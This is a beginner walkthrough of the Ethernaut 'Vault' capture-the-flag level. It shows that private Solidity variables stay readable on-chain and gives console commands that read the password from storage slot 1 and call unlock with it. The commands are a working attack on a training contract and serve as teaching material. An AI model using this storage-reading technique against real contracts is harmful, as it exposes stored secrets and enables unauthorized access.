Ethernaut - Walkthrough for Noobs - 8 - Vault

Ethernaut - Walkthrough for Noobs - 8 - Vault

This challenge basically teaches how nothing is really private on the blockchain and all data can be seen by everyone. The word private or internal should not be used to store "private" things like passwords.

Objective: Unlock the vault to pass the level!

Background

In the previous challenges, I talked about the concept of storage. Notice how in EVM data is stored in slots that are 32 bytes in size. For Example:

contract Example {
 uint256 a; //slot0
 uint128 b; //slot1
 uint128 c; //slot1
} 

//Good Practice
contract Example {
 uint128 a; //slot0
 uint256 b; //slot1
 uint128 c; //slot2
} 

//Bad Practice

The first state variable is assigned slot0, the second variable is assigned slot1, and so on. If by chance a variable needs less than 32 bytes, it's packed with the next variable to optimize storage.

According to Solidity documentation:

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.

That is, other contracts can't access private variables, but they still are visible.

Note:

  1. It is recommended to encrypt important data and then store it in the blockchain. The decryption key should never be on-chain in any shape or form whatsoever.

  2. To save gas, it is recommended to use constant and immutable variables, their value has to be fixed at compile time and construction time respectively. Hence, a storage slot is not reserved for these types of variables.

Code of Importance

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked; //state variable (slot0)
  bytes32 private password; //point of attack, since it can be read as explained above. (slot1)

  constructor(bytes32 _password) {
    locked = true; //initialised as true, we need it to be false
    password = _password; //password is set by the deployer. 
  }

  function unlock(bytes32 _password) public {
    if (password == _password) { //if we guess the password
      locked = false; //we unlock the lock. 
    }
  }
}

Plan of attack: Get the data stored in slot1, since we know bytes32 will take an entire slot --> put it in function unlock.

Solution

  1. Create a new level instance and fire up the console.

  2.  await web3.eth.getStorageAt(contract.address, 1)
     //adds your instance address, 1 is the slot number.
    
  3.  await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
    
     //fun task: convert the password from hex to ascii, and check what it is.
    
  4. Submit Instance.

Vault✅